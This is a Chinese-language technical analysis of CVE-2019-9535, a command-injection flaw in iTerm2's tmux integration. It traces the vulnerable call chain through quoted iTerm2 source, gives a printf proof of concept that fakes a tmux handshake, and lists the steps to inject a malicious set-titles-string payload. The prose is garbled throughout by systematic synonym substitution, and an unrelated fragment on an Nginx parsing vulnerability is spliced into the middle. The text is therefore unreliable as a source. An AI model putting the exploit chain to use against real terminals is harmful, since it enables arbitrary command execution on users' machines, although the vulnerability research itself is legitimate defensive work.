媒介
2019年10月9号,Mozilla平安团队公开了iTerm2一个存在了7年的恣意敕令实行破绽,用户在运用通例敕令(如ssh、curl等存在信息返回的敕令)时都存在被进击的能够,而因为iTerm2的是现在Mac OSX上最盛行的终端之一,因而该破绽影响局限较大,CVSS评分为9.8(critical)
。
该破绽存在于iTerm2的tmux集成模块中,然则与tmux的装置与否没有关系,只须要用户的iTerm2输出歹意的内容时,进击者就能够在用户的盘算机上实行敕令,所以很多罕见的敕令都能够致使用户被进击,如nc
、cat
、ssh
、curl
、head
、tail
等等。
什么是tmux?
tmux 是一款终端复用软件,用户能够在一个窗口里经过历程 tmux 建立、接见和掌握多个星散的终端,同时还许可对终端举行“解绑”与“附加”。
tmux供应了一个纯文本交互的接口以轻易其他运用与tmux举行交互,这一特征称为CONTROL MODE
,iTerm2也经过历程这一特征来完成了tmux集成模块。
在tmux的man page中,能够晓得CONTROL MODE
能够由tmux -C
和tmux -CC
启动,该形式请求client须要发送以回车为末端的tmux敕令,每一个tmux敕令都邑有一个以%begin
开首和%end
末端的文本块代表输出内容,或许一个以%error开首的文本块代表毛病内容。
在CONTROL MODE
中tmux服务端会向客户端输出以下内容,来关照其状况的转变:
- %client-session-changed client session-id name
- %exit [reason]
- %layout-change window-id window-layout window-visible-layout window-flags
- %output pane-id value
- %pane-mode-changed pane-id
- %session-changed session-id name
- %session-renamed name
- %session-window-changed session-id window-id
- %sessions-changed
- %unlinked-window-add window-id
- %window-add window-id
- %window-close window-id
- %window-pane-changed window-id pane-id
- %window-renamed window-id name
剖析
起首先看对应的(commit)[https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c]形貌:
Do not send server-controlled values in tmux integration mode.
CVE-2019-9535
- Use session number everywhere rather than session name
- Do not poll tmux for the set-titles-string, status-left, and status-right and
then request the values of the returned format strings. Use ${T:} eval
instead. These features are now only available for tmux 2.9 and later.- Hex-encode options saved in the tmux server to make them unexploitable (e.g.,
hotkeys, window affinities, window origins, etc.). The old values are
accepted as inputs but will never be produced as output.
能够晓得破绽存在于处置惩罚set-titles-string
,status-left
和 status-right
时没有对输入举行校验从而致使的敕令注入。因为破绽成因邻近,本文只剖析set-titles-string
的破绽道理和应用。
浏览tmux源码时,发明当以-CC
进入CONTROL MODE
时,tmux会输出\033P1000p
和一个初始化文本块
,比方:
\033P1000p%begin 1337 0 0
%end 1337 0 0
而iTerm2也是应用这一输出推断是不是进入tmux形式,因而经过历程组织输出,iTerm2也会进入tmux形式
$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"
** tmux mode started **
Command Menu
----------------------------
esc Detach cleanly.
X Force-quit tmux mode.
L Toggle logging.
C Run tmux command.
在浏览iTerm2源码后,发明当处于tmux形式时,iTerm2会将tmux的输出传入TmuxGateway.m
的executeToken
函数中,该函数负责处置惩罚tmux的返回数据并挪用响应的回调函数。
在处置惩罚初始化文本块
时,会挪用currentCommandResponseFinishedWithError
函数
- (void)currentCommandResponseFinishedWithError:(BOOL)withError { // ...... if (!_initialized) { _initialized = YES; if (withError) { [delegate_ tmuxInitialCommandDidFailWithError:currentCommandResponse_]; } else { [delegate_ tmuxInitialCommandDidCompleteSuccessfully]; } } // ...... }
最后会进入PTYSession.m
的 tmuxInitialCommandDidCompleteSuccessfully
函数来举行初始化
- (void)tmuxInitialCommandDidCompleteSuccessfully { // This kicks off a chain reaction that leads to windows being opened. [_tmuxController ping]; [_tmuxController validateOptions]; [_tmuxController checkForUTF8]; [_tmuxController guessVersion]; [_tmuxController loadTitleFormat]; }
而该函数会挪用TmuxGateWay.m
的sendCommand
向服务端发送一系列的tmux敕令用于初始化:
# | tmux敕令 | 回调函数 |
---|---|---|
1 | display-message -p -F . | handlePingResponse |
2 | show-window-options -g aggressive-resize | showWindowOptionsResponse |
3 | show-option -g -v status | handleStatusResponse |
4 | list-sessions -F “\t” | checkForUTF8Response |
5 | display-message -p “#{version}” | handleDisplayMessageVersion |
6 | show-window-options pane-border-format | guessVersion23Response |
7 | list-windows -F “#{socket_path}” | guessVersion22Response |
8 | list-windows -F “#{session_activity}” | guessVersion21Response |
9 | list-clients -F “#{client_cwd}” | guessVersion18Response |
10 | show-options -v -g set-titles | handleShowSetTitles |
11 | show-options -v -g set-titles-string | handleShowSetTitlesString |
当敕令#10(show-options -v -g set-titles
)的返回是on
时,变量_shouldSetTitles
值设为true
,而敕令#11(show-options -v -g set-titles-string
)将返回的内容存入setTitlesString
变量中,使得该变量可控
- (void)handleShowSetTitles:(NSString *)result { _shouldSetTitles = [result isEqualToString:@"on"]; [[NSNotificationCenter defaultCenter] postNotificationName:kTmuxControllerDidFetchSetTitlesStringOption object:self]; } - (void)handleShowSetTitlesString:(NSString *)setTitlesString { _setTitlesString = [setTitlesString copy]; }
同时handleShowSetTitles
函数会播送kTmuxControllerDidFetchSetTitlesStringOption
音讯,从而触发PTYTab.m
的tmuxDidFetchSetTitlesStringOption
函数。
- (void)tmuxDidFetchSetTitlesStringOption:(NSNotification *)notification { if (notification.object != tmuxController_) { return; } [self updateTmuxTitleMonitor]; } - (void)updateTmuxTitleMonitor { if (!self.isTmuxTab) { return; } if (tmuxController_.shouldSetTitles) { if (_tmuxTitleMonitor) { return; } [self installTmuxTitleMonitor]; } else { if (!_tmuxTitleMonitor) { return; } [self uninstallTmuxTitleMonitor]; } }
然则因为此时tmuxController_
为nil
,因而notification.object != tmuxController_
为真,并不会挪用updateTmuxTitleMonitor
。
然则,假如实行了updateTmuxTitleMonitor
函数,因为_shouldSetTitles
为true
,所以会挪用installTmuxTitleMonitor
Web中间件漏洞总结之Nginx漏洞
解析漏洞 漏洞简介: 对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的 漏洞复现: 在网站根目录新建test.jpg,里面写入phpinfo(),打开试一下 试一试Nginx的解析漏洞,在后面加上/x.php 对于低版本的php能够直接解析成功,高版本php因为引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件,这里来看看两个与Nginx解析漏洞相关的核心配置 核心配置:cgi.fix_pathinfo 该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时,若/aaa.xxx/bbb.yyy/ccc.zzz不存在,则会去掉最
- (void)installTmuxTitleMonitor { assert(!_tmuxTitleMonitor); if (self.tmuxWindow < 0) { return; } _tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:tmuxController_.gateway scope:self.variablesScope format:tmuxController_.setTitlesString target:[NSString stringWithFormat:@"@%@", @(self.tmuxWindow)] variableName:iTermVariableKeyTabTmuxWindowTitle block:nil]; [_tmuxTitleMonitor updateOnce]; if (self.titleOverride.length == 0) { // Show the tmux window title if both the tmux option set-titles is on and the user hasn't // already set a title override. self.variablesScope.tabTitleOverrideFormat = [NSString stringWithFormat:@"\\(%@?)", iTermVariableKeyTabTmuxWindowTitle]; } }
而该函数把可控的tmuxController_.setTitlesString
作为format
参数,挪用initWithGateway
初始化一个iTermTmuxOptionMonitor
类,从而致使iTermTmuxOptionMonitor
的成员变量_format
是可控的,而后续又会挪用iTermTmuxOptionMonitor
中的成员函数updateOnce
- (void)updateOnce { if (_haveOutstandingRequest) { DLog(@"Not making a request because one is outstanding"); return; } _haveOutstandingRequest = YES; NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat]; DLog(@"Request option with command %@", command); [self.gateway sendCommand:command responseTarget:self responseSelector:@selector(didFetch:) responseObject:nil flags:kTmuxGatewayCommandShouldTolerateErrors]; } - (NSString *)escapedFormat { return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"] stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"]; }
而在updateOnce
函数中,将可控的_format
变量中的'
替换成\'
以及\
替换成\\
后发送给tmux服务端,因为没有过滤CRLF从而致使后续应用的发作。
但是,此时的updateTmuxTitleMonitor
函数并没有被实行,因而题目转变为怎样触发updateTmuxTitleMonitor
的实行。
在对iTerm2的tmux集成模块源码举行一番浏览后,发明TmuxGateway.m
中的函数parseSessionChangeCommand
,该函数在接收到tmux服务端返回的以%session-changed
开首的敕令时被实行,而且该函数终究会挪用函数openWindowsInitial
。
而在openWindowsInitial
中,向tmux服务端发送敕令show -v -q -t $%d @iterm2_size
并注册了回调函数handleShowSize
- (void)openWindowsInitial { NSString *command = [NSString stringWithFormat:@"show -v -q -t $%d @iterm2_size", sessionId_]; [gateway_ sendCommand:command responseTarget:self responseSelector:@selector(handleShowSize:)]; } - (void)handleShowSize:(NSString *)response { NSScanner *scanner = [NSScanner scannerWithString:response ?: @""]; int width = 0; int height = 0; BOOL ok = ([scanner scanInt:&width] && [scanner scanString:@"," intoString:nil] && [scanner scanInt:&height]); if (ok) { [self openWindowsOfSize:VT100GridSizeMake(width, height)]; } else { [self openWindowsOfSize:[[gateway_ delegate] tmuxClientSize]]; } } - (void)openWindowsOfSize:(VT100GridSize)size { // ...... NSString *listWindowsCommand = [NSString stringWithFormat:@"list-windows -F %@", kListWindowsFormat]; // ...... NSArray *commands = @[ // ...... [gateway_ dictionaryForCommand:listWindowsCommand responseTarget:self responseSelector:@selector(initialListWindowsResponse:) responseObject:nil flags:0] ]; [gateway_ sendCommandList:commands]; }
在handleShowSize
被回调时,会挪用openWindowsOfSize
向tmux服务端发送一系列tmux敕令,个中有一条敕令list-windows -F %@
的回调函数是initialListWindowsResponse
,而该函数终究会经过历程函数openWindows
来建立tmux窗口,在这历程当中函数appendRequestsForNode
会被挪用。
因为appendRequestsForNode
的挪用链太长,在此不再赘述,挪用链以下:
- appendRequestsForNode
- appendRequestsForWindowPane
- dictForGetPendingOutputForWindowPane
- getPendingOutputResponse
- requestDidComplete
- loadTmuxLayout
- openTabWithTmuxLayout
- updateTmuxTitleMonitor // [破绽触发]
自此,我们已能够注入歹意敕令到tmux服务端,以下图所示
然则这里存在一个题目,因为tmux server是由我们捏造的,那末纵然注入了歹意的tmux敕令,也只是把歹意敕令返回给本身(即不存在真正的tmux server去处置惩罚它),那末所谓的敕令注入又是怎样实行的呢?
应用
事实上,一切的tmux敕令都经过TmuxGateway
举行处置惩罚,一切待处置惩罚的敕令都邑存放在TmuxGateway
的commandQueue_
行列中。当某条敕令失足时,一切的待处置惩罚敕令会被奇异的输出在iTerm2里(包含回车),这就造成了敕令注入,一个简朴的POC以下:
sh-3.2$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0\n%%CVE-2019-9535\n" ** tmux mode started ** Command Menu ---------------------------- esc Detach cleanly. X Force-quit tmux mode. L Toggle logging. C Run tmux command. Unrecognized command from tmux. Did your ssh session die? The command was: sh-3.2$ display-message -p -F . Detached sh-3.2$ show-option -g -v status sh: show-option: command not found sh-3.2$ list-sessions -F "" sh: list-sessions: command not found sh-3.2$ display-message -p "#{version}" sh: display-message: command not found sh-3.2$ show-window-options pane-border-format sh: show-window-options: command not found sh-3.2$ list-windows -F "#{socket_path}" sh: list-windows: command not found sh-3.2$ list-windows -F "#{session_activity}" sh: list-windows: command not found sh-3.2$ list-clients -F "#{client_cwd}" sh: list-clients: command not found sh-3.2$ show-options -v -g set-titles; show-options -v -g set-titles-string sh: show-options: command not found sh: show-options: command not found sh-3.2$
综上,破绽的重要应用历程以下:
- 经过历程
"\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"
假装tmux服务端 - 对iTerm2发出的tmux敕令返回正当的效果,个中
show-options -v -g set-titles
返回on
,show-options -v -g set-titles-string
返回歹意payload - 向iTerm2发出
%session-changed
关照,用于触发updateTmuxTitleMonitor
,将歹意敕令注入TmuxGateway.commandQueue_
- 对iTerm2发出的tmux敕令返回不法的效果,触发敕令实行